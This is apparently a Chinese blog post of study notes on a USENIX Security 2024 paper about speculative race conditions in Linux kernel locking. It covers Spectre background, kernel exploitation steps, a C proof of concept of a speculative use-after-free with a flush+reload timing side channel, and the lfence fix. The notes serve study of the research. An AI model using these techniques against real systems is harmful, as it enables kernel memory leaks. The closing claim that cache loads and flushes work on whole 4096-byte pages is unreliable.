文章目录
- 论文
- 背景
- Spectre-PHT(Transient Execution )
- Concurrency Bugs
- SRC/SCUAF和实验条件
- 流程
- Creating an Unbounded UAF Window
- Crafting Speculative Race Conditions
- Exploiting Speculative Race Conditions
- poc
- 修复
- flush and reload
论文
https://www.usenix.org/system/files/usenixsecurity24-ragab.pdf
背景
Spectre-PHT(Transient Execution )
现代 CPU 为提高性能,会对指令进行推测执行(就是CPU会先把可能的判断结果执行)
推测执行可能有两种结果:
a) 指令被正常提交
b) 指令因预测错误被回滚(squashed),产生Transient Execution,但相关缓存被保留
if (x < array1_size) {
y = array2[array1[x] * 0x1000];
}
- x可控,多次x < array1_size后会认为可能依然是x < array1_size,然后执行if里的语句
- 如果x越界,但依然认为是x < array1_size,然后执行if里的语句。此时会把array1[x]越界访问的内容放入缓存,再通过array2[array1[x] * 0x1000]访问对应的位置
- 通过测信道可以探测出如果访问array2某个位置快一些,那么这个位置有可能就是array1[x]越界访问的内容,即泄露内容
Concurrency Bugs
SRC/SCUAF和实验条件
SRC:就是两个线程同时访问一个内存位置,一个是写操作,另一个是瞬时访问,此时瞬时访问能够绕过互斥锁。从而产生Speculative Concurrent Use-After-Free(SCUAF)和Concurrency Bugs类似
所有保护均开启, Linux kernel running on Intel x86-64.然后普通用户通过系统调用引发SRC来泄露数据
流程
nfc_hci_msg_tx_work该函数是Linux内核中近场通信(NFC)驱动核心的主机控制器接口(Host Controller Interface, HCI)层实现的一部分,负责处理内核发送到NFC设备的待处理消息。由于我们没有所需的NFC硬件来原生执行此函数,因此我们在分析过程中添加了一个系统调用以达到这一代码路径。
Creating an Unbounded UAF Window
目的:在free和设置NULL之间创建一个时间较大的窗口间隙
计时器到期会引发中断
首先通过设置定时器引起中断,在kfree时引起中断,但由于上锁,所以会等到已解锁就进入定时器的中断处理函数中,可以增加中断处理函数延长时间,这段时间通过其他核心发动系统调用使得向受害者核心发送中断,然后它陷入无限中断
Crafting Speculative Race Conditions
锁宏观上没问题,微观上可能有问题
第四行分支最终检查lock cmpxchgq指令的结果,该指令自动比较互斥锁ptr的当前值和旧值old,如果相同,则意味着互斥锁可以被锁定——将互斥锁设置为新值new,并授予对受保护临界区域的访问权,否则不行
我们可以多次获取互斥锁然后推测执行中获取互斥锁并进入受保护的临界区域。
其他常见同步写原语很多通过条件分支实现的,所以都很容易收到推测竞争条件的影响
实验得到不同架构不同核心和线程安排的瞬态执行时可以执行的指令数量
当两个线程跨核心运行时,窗口通常更大,这表明在推测终止之前,缓存一致性协议在跨内核传播锁体系结构状态方面起着至关重要的作用。(我的理解是前一个执行上锁后,另一个开始推测执行,原执行流检查上锁时候得到已经上锁的信息较慢,导致此时推测执行已经执行多条了)
Exploiting Speculative Race Conditions
- 分配hdev和hdev->cmd_pending_msg
- 误导mutex的条件分支
- 启动victim线程和风暴线程:设置定时器,并启动目标函数
- free后进入定时器中断处理函数,此时窗口增大,运行别的函数
- 此时在窗口内创建msgbuf来对应hci_msg
- 通过msgsnd申请到hdev->cmd_pending_msg一样大小的project,拿到刚刚释放的,设置好cb和cb_context
- nfc_hci_msg_tx_work出发瞬态推测执行劫持控制流
poc
#include <stdio.h>
#include <pthread.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>
#include "fr.h"
//
#define FR_BUFF_SIZE (2 * 4096)
char fr_buff[FR_BUFF_SIZE] __attribute__((aligned(4096)));
//为了准确测量不同位置的访问时间差异,确保每个缓存行位于单独的页面上是非常重要的。这样可以避免由于跨页引起的额外延迟干扰测量结果。
volatile int r __cacheline_aligned;
//
pthread_mutex_t lock;
/* 与小工具相关的代码/数据。 */
void my_callback()
{
}
void evil_callback()
{
// 访问4096,其所在的起始页长放入缓存中
maccess(&fr_buff[4096]);
}
typedef void (*cb_t)();
typedef struct data_s
{
cb_t callback;
} data_t;
data_t *data_ptr;
/* 辅助函数。 */
void train_lock()
{
int i;
for (i = 0; i < 10; i++)
{
pthread_mutex_lock(&lock);
pthread_mutex_unlock(&lock);
}
}
void init()
{
//数组初始化赋值才访问对应元素,不然直接访问未初始化会出现莫名其妙问题。所以按照正常流程先初始化再访问 !!!!
memset(fr_buff, 'x', FR_BUFF_SIZE);
//初始化后需要清空其所在的缓存
// int i=4096*2;
// printf("i %lu buff %lu\n",i,probe_timing(&fr_buff[i]));
flush(&fr_buff[0]);
flush(&fr_buff[4096]);
// int i=4096*2-10;
// printf("i %lu buff %lu\n",i,probe_timing(&fr_buff[i]));
// 初始化锁
int r;
r = pthread_mutex_init(&lock, NULL);
// 初始化结构体
data_ptr = malloc(sizeof(data_t));
data_ptr->callback = my_callback;
}
int main()
{
init();
// 线程1:训练 pthread_mutex_lock(&lock)和pthread_mutex_unlock中的代码总是成功
train_lock();
// 线程1:获取锁,释放结构体
pthread_mutex_lock(&lock);
free(data_ptr);
// 线程2:线程1在free()之后但在状态更新和锁释放之前被中断。然后,线程2重用内存以控制未来的悬挂指针引用(并劫持控制流到恶意回调)。
data_t *p = malloc(sizeof(data_t));
p->callback = evil_callback;
// 线程2:推测执行绕过上锁,并调用回调函数,这只会执行一个UAF(即,推测性控制流劫持
r = pthread_mutex_trylock(&lock);//如果是pthread_mutex_lock(&lock);那么预测执行会回滚到pthread_mutex_lock(&lock);那么将陷入死循环
if (r == 0)
{
data_ptr->callback();
// pthread_mutex_unlock(&lock); 推测执行的指令数量根本不满足执行完pthread_mutex_unlock
}
// 线程1:恢复执行并更新NULL
data_ptr = NULL;
pthread_mutex_unlock(&lock);
// 线程2:通过F+R测信道知道访问内存的时间较短的位置为推测执行中访问的位置
unsigned long t1 = probe_timing(&fr_buff[0]);
unsigned long t2 = probe_timing(&fr_buff[4096]);
if (t2 < t1)
{
printf("得到信号 (%lu < %lu): 内存重用、推测性UAF以及推测性控制流劫持成功触发。\n", t2, t1);
}
else
{
printf("意外的时间:%lu << %lu\n", t1, t2);
}
return 0;
}
头文件
#ifndef FR_H
#define FR_H
// 定义 likely 宏,用于优化条件分支预测。
#define likely(expr) __builtin_expect(!!(expr), 1)
// 定义缓存行对齐属性宏,确保变量按照64字节边界对齐,并放置在特定的数据段中。
#define __cacheline_aligned \
__attribute__((__aligned__(64), \
__section__(".data..cacheline_aligned")))
// 探测访问给定地址所需的时间。该函数使用汇编指令来测量读取一个内存位置前后的时钟周期数。
static inline unsigned long probe_timing(char *adrs) {
volatile unsigned long time;
asm __volatile__(
" mfence \n" // 确保所有之前的存储操作已完成。
" lfence \n" // 确保所有之前加载操作已完成。
" rdtsc \n" // 读取时间戳计数器。
" lfence \n" // 确保此指令前的所有加载都已完成。
" movl %%eax, %%esi \n" // 将低32位时间戳保存到 ESI 寄存器。
" movl (%1), %%eax \n" // 从内存位置加载数据(触发缓存行为)。
" lfence \n" // 确保此指令前的所有加载都已完成。
" rdtsc \n" // 再次读取时间戳计数器。
" subl %%esi, %%eax \n" // 计算两次读取之间的时间差。
" clflush 0(%1) \n" // 清除指定内存位置的缓存行。
: "=a" (time) // 输出参数:EAX 寄存器值赋给 'time'。
: "c" (adrs) // 输入参数:'adrs' 的值通过 ECX 寄存器传递。
: "%esi", "%edx" // 被修改的寄存器列表。
);
return time;
}
// 返回当前CPU的时钟周期数。rdtsc 指令读取时间戳计数器,它记录了自系统启动以来的时钟周期数。
static inline unsigned long long rdtsc() {
unsigned long long a, d;
asm volatile ("mfence"); // 确保所有之前的存储操作已完成。
asm volatile ("rdtsc" : "=a" (a), "=d" (d)); // 读取时间戳计数器,分别放入 a 和 d。
a = (d<<32) | a; // 组合 EDX:EAX 成一个64位时间戳。
asm volatile ("mfence"); // 确保所有之前的存储操作已完成。
return a;
}
// maccess 宏定义用于触发电平1缓存未命中,模拟内存访问。
#define maccess(p) \
asm volatile ("movq (%0), %%rax\n" \
: \
: "c" (p) \
: "rax")
// flush 宏定义用于清除指定内存位置的缓存行。
#define flush(p) \
asm volatile ("clflush 0(%0)\n" \
: \
: "c" (p) \
: "rax")
#endif
修复
-
序列化指令(lfence):
lfence
是一种序列化指令,主要用于控制指令流的顺序。它会确保在它之前的所有操作完成后才会执行后续的指令。- 通过在
cmpxchg
之后插入lfence
,可以确保在锁定操作完成后,任何后续的操作不会被提前执行。这样就阻止了处理器在锁定机制确认之前,对关键区代码的任何投机执行。
-
实现细节:
- 在 Linux 内核的
arch/x86/include/asm/cmpxchg.h
文件中进行了修改。 - 具体地,在
__raw_cmpxchg
和__raw_try_cmpxchg
汇编宏中加入了lfence
指令。 - 这些宏用于实现所有的写侧同步原语,通过这种方式,确保所有相关的同步操作都受到保护。
- 在 Linux 内核的
但内核性能下降5%
flush and reload
22.5 Flush and Reload
flush+reload学习笔记
缓存会加载4096个字节,也就是一个页到缓存中
clflush会清理缓存行,也是4096个字节,也就是一个页